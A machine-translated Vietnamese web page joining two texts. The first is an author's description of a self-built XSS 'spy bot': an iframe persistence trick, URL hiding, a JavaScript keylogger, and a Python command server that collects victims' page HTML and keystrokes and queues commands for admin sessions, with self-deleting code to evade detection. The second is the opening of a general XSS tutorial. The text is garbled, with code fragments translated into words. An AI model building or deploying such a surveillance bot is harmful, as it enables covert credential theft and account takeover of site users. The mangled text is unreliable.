Xss hoạt động trong nội dung của bức thư. Các cuộc tấn công XSS: chúng là gì và mức độ nguy hiểm của chúng. XSS là gì

Mọi người từ lâu đã biết rằng thông thường, bằng cách sử dụng XSS, kẻ tấn công cố gắng gửi Cookie cho nạn nhân, đọc mã thông báo CSRF, thực hiện một cuộc tấn công lừa đảo (bằng cách tạo biểu mẫu đăng nhập giả), thực hiện một số hành động thay mặt cho người dùng và một số cuộc tấn công tương tự khác (có lẽ đây không phải là tất cả các khả năng, nhưng đây đều là những cuộc tấn công phổ biến nhất mà tôi biết vào thời điểm hiện tại).

Mục đích của phương pháp này là giám sát các trang thay mặt người dùng mà anh ta điều hướng trên trang bị tấn công, cũng như giám sát thao tác gõ phím của anh ta (bạn cũng có thể sử dụng chuyển động chuột và nhấp chuột, nhưng đối với tôi điều này sẽ không cần thiết, không đặc biệt hữu ích thông tin, chắc chắn trong hầu hết các trường hợp).
Bây giờ liên quan đến lợi ích tối đa - tôi tin rằng thuật toán sẽ như thế này:

  • đọc và gửi Cookie;
  • đọc và gửi phần thông tin còn lại (địa chỉ IP, plugin đã cài đặt, phiên bản và loại trình duyệt, hỗ trợ flash, hỗ trợ Silverlight, v.v.) [tùy chọn]
  • lấy thông tin về mạng nội bộ, xâm nhập vào bộ định tuyến [tùy chọn]
  • đọc và gửi các mã thông báo khác nhau [tùy chọn];
  • thực hiện lừa đảo [tùy chọn];
  • chúng tôi làm điều gì đó “bằng bàn tay của người dùng” [tùy chọn];
  • chúng tôi tiếp tục theo dõi anh ấy và lấy thông tin cho đến khi anh ấy đóng tab hoặc rời khỏi trang web;

Tất cả các mục danh sách tùy chọn IMHO phải được thực hiện tùy thuộc vào tình huống và mức độ ưu tiên cụ thể cho các mục tiêu cần đạt được bằng XSS, đôi khi chúng có thể ảnh hưởng lẫn nhau (nếu bạn cố gắng kết hợp chúng, hay đúng hơn là thực hiện lần lượt từng mục) và tăng khả năng thất bại của hoạt động XSS.
Nhưng điểm đầu tiên và điểm cuối cùng phải luôn được đáp ứng, trong mọi trường hợp. Trên thực tế, phần chính của bài viết sẽ là về điểm cuối cùng trong danh sách này.

Chúng tôi đang tiếp cận mục tiêu.

Tôi sẽ bắt đầu từ xa: thông qua JavaScript, bạn có thể thay đổi đường dẫn trên thanh địa chỉ mà không cần tải lại trang. Ví dụ: nếu người dùng tải một trang tại


Khi đó nội dung trên thanh địa chỉ sẽ như sau (không cần tải lại trang):

http: //site.com/new-url/


Nhân tiện, tính năng này đôi khi khá hữu ích khi cần ẩn khỏi người dùng (hoặc nhóm người dùng - quản trị viên chú ý hơn) bằng cách nhanh chóng xóa URL sau khi họ nhấp vào liên kết có chứa Reflected XSS, để sau này, Sau khi tải trang, nhìn vào thanh địa chỉ, không tìm thấy gì.

http : //site.com/search.php?q=123 tài liệu . thân hình. bên trongHTML += "Đã hack" ;

http: //site.com/search.php?q=123 window. lịch sử. pushState ("," , "" , "/" ); tài liệu. thân hình. bên trongHTML += "Đã hack" ;


chúng ta sẽ tước đi cơ hội này của anh ta.

Nhưng kỹ thuật này thậm chí còn có một ứng dụng thú vị và mạnh mẽ hơn. Chúng tôi sẽ mô phỏng việc người dùng ở lại trang web sau khi nhấp vào liên kết, trên thực tế, anh ta sẽ luôn ở trên một trang và lúc này tập lệnh của bên thứ ba sẽ hoạt động, trích xuất và gửi thông tin cho kẻ tấn công. Như vậy, XSS sẽ hoạt động miễn là người dùng nhấp vào liên kết trên tên miền này .

Chúng tôi chỉ định ý tưởng.

Nguyên tắc hoạt động chung là thế này: khi người dùng nhập một trang có XSS, tập lệnh sẽ tạo một iframe có cùng địa chỉ với trang đó và “đính kèm” nó vào nền trước, người dùng sẽ có ấn tượng rằng trang được tải bình thường, bởi vì iframe chỉ có thể được nhìn thấy trong các trang mã.

Và script phụ điều khiển logic của spy bot, tức là nó giám sát khi nào địa chỉ trong khung thay đổi để thay đổi trên thanh địa chỉ, nhưng nếu địa chỉ khung mới thay đổi có miền khác thì bạn có thể mở nó trong một tab mới, nếu không bạn sẽ phải tải lại trang để không bị cháy.
Do đó, để XSS ngừng thực thi vào lúc này, người dùng phải làm mới trang theo cách thủ công (nếu XSS được Phản ánh và được truyền bằng phương thức POST, trong các trường hợp khác, bản cập nhật sẽ không giúp ích gì và nhân tiện, một số giờ đây trình duyệt có thể gửi lại yêu cầu POST khi cập nhật trang) hoặc đóng tab hoặc chuyển sang tên miền khác (mặc dù trong trường hợp này bạn vẫn có thể tránh mất quyền kiểm soát).

Nếu nó đi đến một miền phụ của miền bị tấn công thì đó là lựa chọn của kẻ tấn công, tức là XSS sẽ hoạt động, nhưng có một khả năng nhỏ là người dùng sẽ phát hiện ra sự khác biệt giữa các địa chỉ. Tôi nghĩ rằng tùy thuộc vào tình huống, ví dụ: nếu miền google.ru bị tấn công, người dùng đã chuyển sang dịch vụ tệp đám mây của Google, dịch vụ này thường nằm trong miền phụ drive.google.ru, thì khả năng anh ta sẽ nhận thấy bắt gặp khi nhìn vào thanh địa chỉ khá cao, nếu anh ấy thường xuyên sử dụng dịch vụ này. Nếu không, bạn cũng có thể gặp rủi ro. Nhưng chúng tôi phải tính đến việc chúng tôi sẽ không thể đọc dữ liệu của nó từ một khung có tên miền phụ nữa vì Chính sách nguồn gốc chéo sẽ không cho phép điều đó. Nhưng chúng ta có thể dễ dàng thay mặt nó lướt tên miền chính ở chế độ ẩn (xem thêm về điều này bên dưới).

Chỉ có phương pháp này mới có những hạn chế, cụ thể là nó sẽ không hoạt động nếu phản hồi của máy chủ web của trang web chứa tiêu đề X-Frame-Options có giá trị DENY . Nhưng cá nhân tôi đã gặp những trang web như vậy một vài lần; thậm chí một nửa trong số đó không có bộ SAMEORIGIN, chưa kể đến việc hạn chế hoàn toàn thông qua. TỪ CHỐI.

Hãy phân tích ý tưởng.

Bây giờ chắc hẳn nhiều người còn nhớ một điều tuyệt vời như BeEF, nơi cũng có rất nhiều điều thú vị. Nhân tiện, cũng có một tùy chọn buộc người dùng chuyển hướng trong khung, nhưng địa chỉ trên thanh địa chỉ không thay đổi, điều này có thể nhanh chóng làm cháy bàn và tùy chọn này phục vụ các mục đích hơi khác nhau.
Nhìn chung, BeEF có hầu hết mọi thứ bạn cần và thậm chí nhiều chức năng bổ sung, nhưng cá nhân tôi muốn có thêm chức năng, cụ thể là:

  • khả năng giám sát mã của các trang mà người dùng bị tấn công có thể truy cập trong thời gian thực;
  • khả năng xem mọi thứ anh ta gõ trên trang web đó (từ thông tin đăng nhập và mật khẩu, đến phím nóng và tin nhắn), tức là một keylogger trong JS;
  • khả năng đưa ra các lệnh JS cho bot của bạn trong thời gian thực, sau khi xem mã của các trang đã nhận;
  • khả năng để lại lệnh cục bộ cho bot để sau này nó có thể “nhặt chúng” và thực thi chúng mà không cần sự tham gia trực tiếp của chúng tôi;
  • xác suất bot bị đốt cháy thấp hơn hoặc khả năng “ẩn náu” của bot khỏi những con mắt tò mò;

Như đã đề cập ở trên, tôi quyết định mượn ý tưởng thú vị về hàng đợi thực thi lệnh từ BeEF. Ví dụ: chúng tôi đã phân tích các trang mà bot bỏ qua khi một người dùng có đặc quyền truy cập vào bảng điều khiển của anh ấy bằng XSS được lưu trữ, chúng tôi để lại các lệnh cho bot - mã JS, chẳng hạn như lần sau khi người dùng đăng nhập, hãy nhấp vào nút này, viết dòng này value ở đây, v.v., vào lần tiếp theo người dùng này truy cập trang, bot sẽ đọc các lệnh và thực thi chúng và chúng tôi không cần phải chỉ đạo mọi thứ - điều đó rất thuận tiện.

Về cơ bản, tất nhiên, một bot như vậy được thiết kế cho người dùng có địa vị cao của một số trang web có thêm “đòn bẩy” để quản lý nội dung, những người dùng khác, v.v. Từ các yêu cầu về chức năng, rõ ràng là chúng tôi không thể thực hiện được nếu không có phần máy chủ.

Hãy thực hiện ý tưởng.

Về nguyên tắc, bạn có thể bỏ qua phần này của bài viết, vì nó chỉ mô tả quá trình triển khai bot mong muốn và một số chi tiết của nó, phòng trường hợp ai đó muốn làm lại hoặc tùy chỉnh nó cho riêng mình. Mặc dù bot sẽ có các biến ở đầu mã để bạn có thể đặt một số cài đặt.
Đầu tiên, thuật toán hành động của bot kể từ thời điểm tải:

1) Kiểm tra sự hiện diện của tiêu đề Tùy chọn khung X: TỪ CHỐI(nếu có thì ta cuộn cần câu lại);
2) Nhúng khung và thiết lập tất cả các thành phần của bot;
3) Xóa tập lệnh và tất cả dấu vết trong mã HTML;
4) Thiết lập liên lạc với phần máy chủ và bắt đầu gửi dữ liệu, phản hồi các phản hồi (nhận lệnh từ máy chủ);

Điểm đầu tiên chưa được thực hiện đầy đủ, tức là bot chỉ kiểm tra trang đầu tiên và tiêu đề gốc. Thực tế là những tiêu đề này thường được máy chủ web tích hợp sẵn cho tất cả các trang cùng một lúc và rất hiếm khi đối với một trang, mọi thứ đều được thực hiện “thủ công”. Và bản thân danh hiệu này đã khá hiếm. Chà, không có nhiều điều để nói về thứ hai và thứ ba, mọi thứ sẽ ở bên dưới.

Có một điểm tương đối quan trọng là trước khi thêm mã bot script vào mã của bạn, bạn cần loại bỏ ngay các dấu XSS trên thanh địa chỉ (khỏi mã JS), vì điều này làm giảm cơ hội bị phát hiện và quan trọng nhất là ngăn chặn sự đệ quy. điều này xảy ra khi thêm một địa chỉ vào khung có cùng mã XSS, từ đó tạo ra một khung khác với chính nó, v.v.

Nhưng để đề phòng, mã bot triển khai khả năng phát hiện đệ quy khung như vậy và ngăn chặn nó ở lần thử đầu tiên thêm khung vào khung đã được tạo, nhưng tốt hơn hết là không nên chỉ dựa vào nó mà nên xóa thêm mã trước khi tải mã bot. Mặc dù tôi chưa gặp phải bất kỳ vấn đề nào.

Chức năng kiểm tra cập nhật khung. Tôi đã thử một số cách để giải quyết vấn đề này một cách kinh tế bằng cách treo các trình xử lý sự kiện lên nội dungWindow hoặc nội dungTài liệu, nhưng không có gì hiệu quả, vì vậy tôi phải viết một hàm kiểm tra địa chỉ của khung và so sánh nó với địa chỉ đã lưu trước đó, và dựa vào đó, quyết định xem khung có được cập nhật hay không (địa chỉ có thay đổi không) và sau đó được gọi chính nó một cách đệ quy.

Tần suất kiểm tra như vậy mỗi giây được kiểm soát bởi biến trì hoãn, được liệt kê ở đầu tệp mã bot. Nhưng sau đó, khi đã viết xong, tôi tìm ra một giải pháp hiệu quả hơn - sử dụng một giải pháp đơn giản và treo đang tải vào khung, vì vậy tôi đã để lại chức năng đó, nhưng đã nhận xét nó, phòng trường hợp sau này nó được yêu cầu nhiều hơn.

Gửi mã HTML của trang.

Lược đồ ở đây khá đơn giản - sau mỗi lần tải lại khung hình (bao gồm cả lần tải đầu tiên), bot sẽ gửi đến máy chủ toàn bộ mã HTML của trang cùng với địa chỉ hiện tại của nó, để sau này bạn có thể phân biệt xem mã đó có thuộc về nơi mong muốn hay không. trang.

Máy chủ thực hiện logic lưu trữ các trang - máy chủ tạo một thư mục cho mỗi tên miền với tên của tên miền này và lưu tất cả dữ liệu ở đó. Mã trang được lưu và cập nhật liên tục lên phiên bản mới nhất nhưng mỗi ngày mới một bản sao mới của trang được tạo để bạn có thể kiểm soát lịch sử phiên bản nếu cần. Đó là cho /news.php Vào ngày 1 tháng 9, trạng thái sẽ được cập nhật và vào ngày 2 tháng 9, một bản sao của nó sẽ được tạo, chỉ liên quan đến ngày đó, v.v. mỗi ngày (nếu người dùng truy cập trang này hàng ngày). Tên trang bao gồm ngày và đường dẫn đến trang này liên quan đến thư mục gốc của trang web (nghĩa là không có tên miền).

Keylogger trong JavaScript.

Ý tưởng này đã được một số người đam mê thực hiện, nhưng công việc của họ không phù hợp với tôi, nếu chỉ vì hầu hết chúng khá đơn giản, tức là họ phát hiện ra mã của phím được nhấn và thông qua String.fromCharCodeđược dịch thành ký hiệu. Nhưng phương pháp này có một số nhược điểm - các phím điều khiển như shift, control, space, v.v. không được dịch sang bất kỳ dạng nào (thường chỉ đơn giản là ký tự trống), tương tác của các phím chữ và số với shift được ghi lại không chính xác, vì điều này phải được triển khai theo chương trình và Ngoài ra, tất cả các phím được nhấn đều được hiển thị bằng chữ in hoa, điều này cũng có thể được sửa theo chương trình.

Kết quả là một keylogger đã phát hiện chính xác tất cả các phím số, chữ cái và ký tự cơ bản, hoạt động trên cả hai bố cục, phản ứng với sự thay đổi và ghi lại tất cả các phím đặc biệt chính. Đúng, một số ký tự (ở đầu hàng số, được in khi nhấn phím shift và số) có thể khác nhau trên một số máy, vì chúng được triển khai theo tiêu chuẩn cơ bản mà một số công ty thay đổi.
Mỗi phần ký tự được nhấn sẽ được máy khách giữ lại cho đến khi thành phần văn bản mất tiêu điểm. Tiếp theo, phần này được gửi đến máy chủ, nơi nó được lưu trong một tệp văn bản, tệp này cũng sẽ được tạo mỗi ngày với một bản sao mới để nó không phát triển đến kích thước lớn và bạn có thể nhanh chóng tìm thấy những gì người dùng đang nhập tại thời điểm đó.
Ngoài các khóa, thông tin về thành phần mà văn bản được nhập sẽ được gửi đến máy chủ theo từng phần (nghĩa là liệu nó có được nhập hay không). , [ hoặc một số khi người dùng sử dụng phím nóng), ngoài tên của phần tử, dữ liệu cơ bản của nó (id, tên, lớp - nếu có) sẽ được gửi để sau đó có thể dễ dàng tìm thấy nó trong mã. Và tất nhiên, địa chỉ của trang thực hiện tuyển dụng và thời gian gần đúng của việc tuyển dụng này sẽ được ghi lại. Nói chung, đủ thông tin về thao tác chạm của người dùng trên bàn phím sẽ được gửi để phân tích tiếp theo.

Ra lệnh cho bot của bạn.

Quá trình này có thể được thực hiện bởi kẻ tấn công hoặc từ phía bot sẽ chạy phía máy chủ hoặc thậm chí từ xa. Sau khi chạy tập lệnh máy chủ, một máy chủ web thu nhỏ tự viết sẽ khởi động, phục vụ các yêu cầu từ bot và bộ điều khiển của nó, hoạt động thông qua giao diện web. Tức là, sau khi khởi động, máy chủ web sẽ đưa ra một liên kết, bằng cách truy cập vào đó bạn có thể bắt đầu ra lệnh cho bot.

Về bảng điều khiển này. Đầu tiên, cần phải hạn chế nó bằng mật khẩu (đường dẫn và sẽ ít người biết về dịch vụ đang chạy trên cổng đó hoặc về địa chỉ mà họ cần đến để sử dụng dịch vụ này), để trong lần đăng nhập đầu tiên, máy chủ sẽ yêu cầu mật khẩu được cung cấp trên thanh địa chỉ (một ví dụ sẽ được cung cấp), mật khẩu ban đầu được lưu trong mật khẩu.txt, có thể thay đổi được. Sau lần đăng nhập đầu tiên, máy chủ web sẽ hướng dẫn trình duyệt lưu mật khẩu vào cookie nên bạn không phải lo lắng thêm nữa.

Trên trang gửi lệnh tới bot cũng có thông tin về trạng thái của bot - hiện tại nó đang trực tuyến hay ngoại tuyến và một số cài đặt, cài đặt đầu tiên là máy chủ, tức là IP địa chỉ hoặc tên miền của trang web mà lệnh sẽ được gửi tới bot. Điều này được thiết kế trong trường hợp một số trang web chứa bot này để có thể xác định được chúng. Trên máy chủ, cũng trong trường hợp này, tất cả dữ liệu được chia thành các thư mục có tên miền.
Tiếp theo là một cửa sổ nơi bạn có thể viết lệnh cho bot trong JS và một tùy chọn đặt nơi mã JS này sẽ được thực thi, trên cửa sổ chính nơi bot nằm hoặc trong khung - điều này được thực hiện để thuận tiện, chỉ trong trường hợp .

Nếu bot không trực tuyến thì máy chủ chỉ cần lưu các lệnh và sau đó, khi bot trực tuyến, tức là người dùng truy cập lại trang có nó hoặc theo liên kết của kẻ tấn công, các lệnh này sẽ được thực thi.
Điều này rất thuận tiện nếu trong lần trinh sát đầu tiên, bot đã bỏ tất cả các trang mà người dùng đã truy cập (ví dụ: tài khoản cá nhân), sau khi nghiên cứu mã mà chúng tôi đã viết lệnh trong JS, để bot sẽ nhấp vào các liên kết chúng tôi cần, nhập dữ liệu cần thiết, hiển thị các hình ảnh cần thiết, v.v., điều này sẽ giúp đạt được mục tiêu của bạn.

Hoặc bạn có thể trực tiếp trong thời gian thực, xem nhanh nội dung của các trang thông qua mã và ra lệnh cho bot để nó gửi mã của các trang khác, đi đến địa chỉ khác, v.v. Và tất cả điều này sẽ được thực hiện “đằng sau screen” của người dùng, họ sẽ bình tĩnh lướt trang web qua một khung hình.

Để thuận tiện cho bạn, bạn có thể tạo các hướng dẫn được sử dụng thường xuyên nhất thành toàn bộ các hàm trong JS, sau đó được nhập vào tệp nguồn của bot ( xsb.js, tìm hiểu thêm về cấu trúc tệp bên dưới) và sử dụng. Hoặc sử dụng các chức năng có trong bot, tuy chỉ có những chức năng cơ bản và không có gì mới, nhưng chẳng hạn, bạn có thể sử dụng chức năng gửi mã trang bất kỳ lúc nào chứ không phải khi tải lại khung. Bạn có thể viết một hàm sẽ mở các liên kết được truyền tới nó trong các khung mới ở chế độ nền để thay mặt người dùng xem nội dung của một số trang cùng một lúc (và thao tác với nội dung này bằng bàn tay ảo của anh ta).

Xóa mã của riêng bạn.

Chà, tính năng cuối cùng được triển khai khá đơn giản (nó có thể bị tắt bằng cách đặt biến mong muốn trong tệp, chúng sẽ được nhận xét). Tập lệnh sau khi thiết lập và treo tất cả các trình xử lý sự kiện, tạo tất cả các biến và hàm sẽ tự xóa

Xét cho cùng, tất cả dữ liệu đã được tải vào RAM thông qua trình duyệt nên không có gì phải lo lắng, nhưng đây là trên lý thuyết, có thể sau này sẽ xuất hiện một số vấn đề mà tôi chưa tính đến nên tôi đã tạo một biến có thể được sử dụng để vô hiệu hóa tính năng này khi cần thiết.

Sau khi xóa tất cả các tập lệnh, sẽ cực kỳ khó để nhận thấy XSS, vì sự hiện diện của khung không chỉ ra điều này một cách gián tiếp và bản thân mã chỉ có thể được tìm thấy trong nhật ký lịch sử lưu lượng truy cập mạng của trình duyệt (không được lưu giữ theo mặc định). trong nhiều trình duyệt nếu bảng dành cho nhà phát triển không mở).

Phần máy chủ.

Để khởi chạy bot đơn giản và thuận tiện hơn, người ta đã quyết định viết máy chủ web nhỏ của riêng mình trên các ổ cắm, máy chủ này sẽ phục vụ bot, cung cấp mọi hoạt động nhận và đăng dữ liệu đã gửi, truyền tin nhắn giữa kẻ tấn công và bot, và tạo giao diện web cho kẻ tấn công bằng command .
Máy chủ được viết bằng Python, tôi đã cố gắng chỉ sử dụng các thư viện tiêu chuẩn để không phải cài đặt bất cứ thứ gì trước khi khởi chạy. Ngoài ra, máy chủ còn tự chỉnh sửa một số dữ liệu trong tập lệnh, tức là trong tập lệnh JS của bot không cần đặt địa chỉ của máy chủ chỉ huy, chính máy chủ web sẽ đặt địa chỉ được yêu cầu ở đó khi khởi động. Chỉ có một tham số trong cấu hình máy chủ - cổng mà nó sẽ khởi động (mặc định là 8000).
Sau khi khởi động, máy chủ sẽ cung cấp tất cả dữ liệu cần thiết - một liên kết đến tập lệnh JS, cần phải trượt, một liên kết đến bảng lệnh, hay đúng hơn là các liên kết đến các địa chỉ bên ngoài và cục bộ, để thuận tiện.

Sơ đồ làm việc với bot.

Chúng tôi khởi chạy máy chủ trên một số cổng chưa được xác nhận và bạn có thể gửi một liên kết có tập lệnh bot, sau đó mọi người nhấp vào liên kết đó sẽ gửi cho bạn dữ liệu mà máy chủ sẽ lưu bất kỳ lúc nào trong ngày. Sau đó, bạn có thể chỉ cần xem chúng nếu có nhu cầu rời khỏi bot nhóm và tiếp tục làm công việc riêng của mình.

Cấu trúc tập tin.

Thư mục chứa các tập tin sau:

  • xsb.py - tệp chính triển khai phần máy chủ; để bot hoạt động, khởi chạy nó và sau đó chỉ cần sử dụng liên kết mà nó cung cấp;
  • xsb.js - mã JS của bot được lưu trữ ở đây, liên kết đến được cung cấp bởi máy chủ được khai báo ở phần đầu của nó, có thể được thay đổi theo ý của bạn (một số, cụ thể là máy chủ và cổng, máy chủ sẽ tự thiết lập sau, bạn không phải lo lắng);
  • panel.html - từ đây server lấy code của control panel bot, bạn có thể điều chỉnh giao diện theo ý mình;
  • pass.txt - mật khẩu của bảng điều khiển được lưu trữ ở đây, có thể thay đổi được;
  • đã lưuData là thư mục trong đó các thư mục có tên miền trang web sẽ được tạo, trong đó tất cả thông tin sẽ được lưu lại.

Hãy để tôi lưu ý một lần nữa rằng trong tập tin xsb.js bạn có thể thêm các chức năng của riêng mình, sau đó bạn có thể gọi thông qua bảng điều khiển mà không cần phải viết những phần mã lớn;

Một phân tích ngắn gọn về kết quả.

Sau khi viết ra cách riêng của tôi để giữ người dùng trên một trang có XSS thông qua các khung (à, như đã được phát minh - cá nhân tôi đã tự mình khám phá ra nó, rất có thể ai đó đã “phát minh ra” kỹ thuật tương tự này cho chính họ hoặc nó đã ở đâu đó trong công chúng bừng sáng, bởi vì bây giờ khá khó để phát triển một thứ gì đó thực sự mới và theo quy luật, sau một thời gian bạn phát hiện ra rằng “cái này đã có trong The Simpsons”), tôi bắt đầu tìm hiểu chi tiết hơn về BeEF và đọc wiki của nó. Sau đó, tôi phát hiện ra rằng một kỹ thuật khác đã được triển khai ở đó để đạt được mục tiêu tương tự - kéo dài thời gian của người dùng trên một trang có XSS thực thi (mà họ gọi là người đàn ông trong trình duyệt). Và nó được triển khai như thế này: tất cả các liên kết trên trang gốc đã được thay đổi theo cách mà khi bạn nhấp vào bất kỳ liên kết nào trong số chúng, tập lệnh sẽ không tải lại trang mà gửi yêu cầu đến máy chủ qua Ajax và chèn dữ liệu nhận được trong phản hồi, nghĩa là, người ta có thể nói nó được cập nhật một cách giả tạo, gần như không thể phân biệt được với giải khát thông thường.

Vì vậy, tôi không phải là người đầu tiên thực hiện thành công ý tưởng này (ngay cả khi các phương pháp hóa ra khác nhau). Nhưng cả hai phương pháp này đều có nhược điểm:

Phương thức tải qua không hoạt động nếu có tiêu đề trong phản hồi Tùy chọn khung X: TỪ CHỐI, nhưng mặt khác nó hoạt động giống như một cửa sổ trình duyệt thông thường;

Phương thức ajax luôn hoạt động nếu trình duyệt hỗ trợ nó (hiện tại tất cả các trình duyệt chính đều hỗ trợ nó), nhưng với tiêu chuẩn Web 2.0 mới, ngày càng có nhiều chuyển đổi được kích hoạt bởi các sự kiện tùy chỉnh của bất kỳ thành phần nào thông qua JS. Một ngày nọ, tôi truy cập Google AdWords và quyết định xem HTML và JS của họ tương tác ở đó như thế nào, bởi vì tất cả các trình thu thập thông tin của tôi đều cực kỳ tệ trong việc tạo bản đồ phía sau của dịch vụ này. Và tôi đã lặng lẽ lo lắng suốt buổi tối về việc mọi thứ ở đó khác thường đến mức nào, khi các phần tử văn bản là các nút, bộ chuyển đổi và thanh trượt và được mô tả cùng với mọi thứ khác, và mỗi phần tử có khoảng 30 trình xử lý cho các sự kiện khác nhau.

Nghĩa là, trên một trang web phức tạp, nút chuyển đổi (chủ quan là một liên kết) sẽ được thực hiện thông qua một thẻ thông thường , được tải với các kiểu và trên đó các trình xử lý sự kiện được đính kèm, ví dụ: một trong số đó onclick chuyển hướng người dùng đến một trang khác. Ngoài ra còn có các phần tử tiêu chuẩn như [i] hoặc chính anh ta v.v., đây thực sự cũng là các liên kết đến các trang khác, nhưng BeEF sẽ không phản hồi và đơn giản là trang sẽ không cập nhật khi bạn nhấp vào hầu hết các nút và các thành phần khác. Điều này có thể nhắc người dùng làm mới trang hoặc nhập lại từ phía bên kia, điều này sẽ giết chết phiên XSS đang hoạt động của chúng tôi.

Để cho ngắn gọn trong việc đặt tên file, tôi gọi nó là Xss Spy Bot.

tái bút
Toàn bộ điều này mất hơn một tháng để viết do thường xuyên thiếu thời gian và thường xuyên bị phân tâm. Cũng vì điều này mà chất lượng của code và khả năng gặp phải một số lỗi là khá cao. Vì vậy tôi yêu cầu các bạn đừng chửi thề quá nhiều mà hãy viết ra lỗi lầm của ai đó để sửa chữa.
Bản thân tôi chỉ thử nghiệm bot trên 4 máy, tất cả đều chạy Debian.

Kế hoạch dài hạn cho bot này, nếu có động lực:
— triển khai hiển thị mã của các trang mà bot gửi đến máy chủ để nó mở ngay lập tức trong trình duyệt và có thể được “chạm” và kiểm tra nhanh chóng;
- họ sẽ cố gắng nắm bắt một số ưu điểm từ công nghệ WebRTC, tức là tìm cách lấy thông tin mới mà JS thuần túy không thể trích xuất được;
— triển khai giao tiếp giữa bot và máy chủ bằng giao thức WebSocket qua HTTP;
— thêm một số tiện ích vào bảng điều khiển;

Cập nhật lần cuối vào ngày 18 tháng 11 năm 2016.

Và là một hướng dẫn toàn diện về kịch bản chéo trang.

Phần Một: Tổng quan XSS là gì?

Kịch bản chéo trang ( Tiếng Anh Kịch bản chéo trang) là một cuộc tấn công tiêm mã cho phép kẻ tấn công thực thi JavaScript độc hại trong trình duyệt của người dùng khác.

Kẻ tấn công không tấn công trực tiếp nạn nhân của mình. Thay vào đó, nó khai thác lỗ hổng trên trang web mà nạn nhân đang truy cập và chèn mã JavaScript độc hại. Trong trình duyệt của nạn nhân, JavaScript độc hại xuất hiện như một phần hợp pháp của trang web và chính trang web đó đóng vai trò là kẻ đồng lõa trực tiếp với kẻ tấn công.

Tiêm mã JavaScript độc hại

Cách duy nhất để kẻ tấn công chạy JavaScript độc hại trong trình duyệt của nạn nhân là đưa nó vào một trong các trang mà nạn nhân tải từ trang web. Điều này có thể thực hiện được nếu một trang web cho phép người dùng nhập dữ liệu trên các trang của nó và kẻ tấn công có thể chèn một chuỗi sẽ được phát hiện như một phần mã trong trình duyệt của nạn nhân.

Ví dụ bên dưới hiển thị một tập lệnh phía máy chủ đơn giản được sử dụng để hiển thị nhận xét mới nhất trên một trang web:

in ""
in "Bình luận cuối cùng:"
in cơ sở dữ liệu.latestBình luận
in ""

Kịch bản giả định rằng nhận xét chỉ bao gồm văn bản. Tuy nhiên, vì tính năng nhập trực tiếp của người dùng được bật nên kẻ tấn công có thể để lại nhận xét này: "..." . Bất kỳ người dùng nào truy cập trang bây giờ sẽ nhận được phản hồi sau:


Bình luận cuối cùng:
...

Khi trình duyệt của người dùng tải trang, nó sẽ thực thi mọi thứ, bao gồm cả mã JavaScript có trong tệp . Kẻ tấn công đã thực hiện thành công cuộc tấn công.

JavaScript độc hại là gì?

Khả năng thực thi JavaScript trong trình duyệt của nạn nhân có vẻ không đặc biệt nguy hiểm. JavaScript chạy trong một môi trường rất hạn chế có quyền truy cập cực kỳ hạn chế vào các tệp người dùng và hệ điều hành. Trên thực tế, bạn có thể mở bảng điều khiển JavaScript trong trình duyệt của mình ngay bây giờ và thực thi bất kỳ JavaScript nào bạn muốn và rất khó có khả năng bạn gây ra bất kỳ tác hại nào cho máy tính của mình.

Tuy nhiên, khả năng mã JavaScript hoạt động như mã độc sẽ trở nên rõ ràng hơn khi bạn xem xét các sự kiện sau:

  • JavaScript có quyền truy cập vào một số thông tin nhạy cảm của người dùng, chẳng hạn như cookie.
  • JavaScript có thể gửi các yêu cầu HTTP có nội dung tùy ý theo bất kỳ hướng nào bằng cách sử dụng XMLHttpRequest và các cơ chế khác.
  • JavaScript có thể thực hiện các thay đổi tùy ý đối với mã HTML của trang hiện tại bằng kỹ thuật thao tác DOM.

Nếu kết hợp lại, những sự thật này có thể gây ra những vi phạm an toàn rất nghiêm trọng, hãy xem chi tiết sau.

Hậu quả của mã JavaScript độc hại

Ngoài ra, khả năng thực thi JavaScript tùy ý trong trình duyệt của người dùng khác cho phép kẻ tấn công thực hiện các kiểu tấn công sau:

Trộm cookie

Kẻ tấn công có thể truy cập các cookie liên quan đến trang web của nạn nhân bằng cách sử dụng document.cookie, gửi chúng đến máy chủ của riêng chúng và sử dụng chúng để trích xuất thông tin nhạy cảm như ID phiên.

Keylogger

Kẻ tấn công có thể đăng ký trình xử lý sự kiện bàn phím bằng cách sử dụng addEventListener, sau đó gửi tất cả các lần nhấn phím của người dùng đến máy chủ của họ, có khả năng ghi lại thông tin nhạy cảm như mật khẩu và số thẻ tín dụng.

Lừa đảo

kẻ tấn công có thể chèn biểu mẫu đăng nhập giả mạo vào một trang bằng thao tác DOM, đặt thuộc tính hành động của biểu mẫu cho máy chủ của riêng chúng và sau đó lừa người dùng lấy thông tin nhạy cảm.

Mặc dù các cuộc tấn công này khác nhau đáng kể nhưng chúng đều có một điểm tương đồng đáng kể: vì kẻ tấn công chèn mã vào trang do trang web phục vụ nên JavaScript độc hại sẽ được thực thi trong ngữ cảnh của trang web đó. Điều này có nghĩa là nó được xử lý giống như bất kỳ tập lệnh nào khác từ trang web đó: nó có quyền truy cập vào dữ liệu của nạn nhân cho trang web đó (chẳng hạn như cookie) và tên máy chủ hiển thị trên thanh URL sẽ giống với tên máy chủ của trang web đó. Đối với mọi mục đích, tập lệnh được coi là một phần hợp pháp của trang web, cho phép nó thực hiện bất kỳ điều gì mà bản thân trang web có thể làm.

Thực tế này nêu bật một vấn đề quan trọng:

Nếu kẻ tấn công có thể sử dụng trang web của bạn để thực thi mã JavaScript tùy ý trong trình duyệt của người dùng khác thì tính bảo mật của trang web của bạn và người dùng trang web sẽ bị xâm phạm.

Để nhấn mạnh điểm này, một số ví dụ về tập lệnh độc hại trong hướng dẫn này sẽ không được cung cấp chi tiết, sử dụng.... Điều này cho thấy rằng sự hiện diện của một tập lệnh bị kẻ tấn công chèn vào đã là một vấn đề, bất kể mã tập lệnh cụ thể nào đang thực sự được thực thi.

Phần hai: Tấn công XSS Những người tham gia cuộc tấn công XSS

Trước khi mô tả chi tiết cách thức hoạt động của một cuộc tấn công XSS, chúng ta cần xác định các tác nhân liên quan đến cuộc tấn công XSS. Nói chung, có ba bên tham gia một cuộc tấn công XSS: trang web, nạn nhân và kẻ tấn công.

  • Trang web cung cấp các trang HTML cho người dùng yêu cầu chúng. Trong ví dụ của chúng tôi, nó nằm ở http://website/.
    • Cơ sở dữ liệu trang web là cơ sở dữ liệu lưu trữ một số dữ liệu do người dùng nhập trên các trang của trang web.
  • Nạn nhân là một người dùng bình thường của một trang web yêu cầu các trang từ trang web đó bằng trình duyệt của họ.
